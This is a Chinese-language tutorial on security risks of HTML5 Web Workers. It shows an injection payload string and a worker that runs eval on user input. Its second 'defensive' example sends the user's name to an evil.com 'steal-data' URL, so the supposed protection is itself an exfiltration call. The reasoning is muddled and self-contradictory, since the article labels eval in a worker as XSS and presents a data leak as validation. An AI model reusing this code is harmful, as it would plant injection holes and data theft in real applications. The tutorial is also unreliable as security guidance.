HTML5安全风险之Web Worker攻击详解

什么是Web Worker？

Web Worker是HTML5新增的一个功能，可以在后台线程中执行JavaScript脚本，而不会阻塞UI线程。Web Worker的主要应用场景是处理一些耗时的计算任务，如数据处理、图像处理等。

Web Worker的基本用法

在主线程中创建Web Worker对象：

var worker = new Worker('worker.js');

在worker.js文件中编写需要在后台线程中执行的JavaScript代码：

// worker.js
onmessage = function(e) {
  console.log('Worker received message: ' + e.data);
  var result = e.data * 2;
  postMessage(result);
};

在主线程中向Web Worker发送消息：

worker.postMessage(2);

在主线程中监听Web Worker返回的消息：

worker.onmessage = function(e) {
  console.log('Main thread received message: ' + e.data);
};

上述代码的执行结果是在主线程中向Web Worker发送2这个消息，然后Web Worker在后台线程中将2乘以2，得到4这个结果，然后将4作为消息返回给主线程，在主线程中输出4。

Web Worker的安全风险

Web Worker虽然能够提高Web应用的性能，但也存在一些安全风险，特别是在处理接收自用户的数据时。下面以一个简单的示例来说明Web Worker的安全问题。

假设有一个Web页面，页面中有一个输入框用于输入用户姓名，并有一个“提交”按钮用于提交姓名。页面中还有一个Web Worker用于验证用户的姓名是否符合要求。

在主线程中的代码如下：

var worker = new Worker('worker.js');

var submitButton = document.getElementById('submit');

submitButton.onclick = function() {
  var name = document.getElementById('name').value;
  worker.postMessage(name);
};

worker.onmessage = function(e) {
  if (e.data === 'valid') {
    alert('姓名验证通过');
  } else {
    alert('姓名不符合要求');
  }
};

在worker.js文件中的代码如下：

// worker.js
onmessage = function(e) {
  var name = e.data;
  if (name.indexOf(' ') !== -1) {
    postMessage('invalid');
  } else {
    postMessage('valid');
  }
};

这段代码的作用是判断输入的姓名中是否包含空格，如果包含空格就返回“姓名不符合要求”，否则返回“姓名验证通过”。

然而，有人可能会故意在姓名中输入一段非法的JavaScript代码，例如：

'); alert('XSS!

这段代码的意思是：在输入的姓名中加入一个闭合单引号，然后弹出一个alert窗口，显示XSS!。这种攻击方式称为XSS（跨站脚本攻击）。

如果Web Worker没有对输入的姓名进行严格的输入验证，就可能导致XSS攻击的发生。例如，修改worker.js文件的代码如下：

// worker.js
onmessage = function(e) {
  var name = e.data;
  eval(name);
};

这样，输入的姓名中任何的JavaScript代码都会在后台线程中被执行，从而给攻击者留下了突破口。

防范Web Worker攻击的方法

防范Web Worker攻击的方法有以下几点：

1. 在Web Worker中严格限制输入的数据类型和格式，避免通过传入恶意的JavaScript代码进行攻击。
2. 对于接收到的数据，在Web Worker内先进行数据验证，避免将恶意的数据传递给主线程。
3. 对于从Web Worker返回的数据，在主线程中进行数据验证，避免接收到恶意数据后对Web应用造成危害。

示例一：限制输入的数据类型和格式

在worker.js文件中添加以下代码：

// worker.js
onmessage = function(e) {
  var name = e.data;
  if (typeof name !== 'string') {
    postMessage('invalid');
    return;
  }
  if (name.indexOf(' ') !== -1) {
    postMessage('invalid');
    return;
  }
  postMessage('valid');
};

这段代码的作用是先判断输入的姓名是否为字符串类型，如果不是就返回“姓名不符合要求”。接着判断输入的姓名中是否包含空格，如果包含就返回“姓名不符合要求”。最后，才返回“姓名验证通过”。

这样，就可以避免通过输入恶意的JavaScript代码进行攻击。

示例二：在Web Worker内进行数据验证

在worker.js文件中添加以下代码：

// worker.js
onmessage = function(e) {
  var name = e.data;
  if (typeof name !== 'string') {
    postMessage('invalid');
    return;
  }
  if (name.indexOf(' ') !== -1) {
    postMessage('invalid');
    return;
  }
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://evil.com/steal-data?name=' + encodeURIComponent(name));
  xhr.send();
  xhr.onload = function() {
    if (xhr.status === 200) {
      var response = xhr.responseText;
      if (response === 'ok') {
        postMessage('valid');
      } else {
        postMessage('invalid');
      }
    } else {
      postMessage('invalid');
    }
  };
};

这段代码的作用是先进行与示例一相同的数据验证，然后通过XMLHttpRequest对象发送一个GET请求到恶意网站，参数中带上输入的姓名，并将结果返回给主线程。

然而，由于输入的姓名可能存在安全隐患，因此在Web Worker内部的代码要进行严格的数据验证，避免将恶意的数据传递给主线程。

总结

Web Worker是HTML5最为重要的功能之一，能够提高Web应用的性能，但也存在一些安全风险。在使用Web Worker时，要注意对输入的数据进行严格的验证，防范可能对Web应用产生危害的攻击。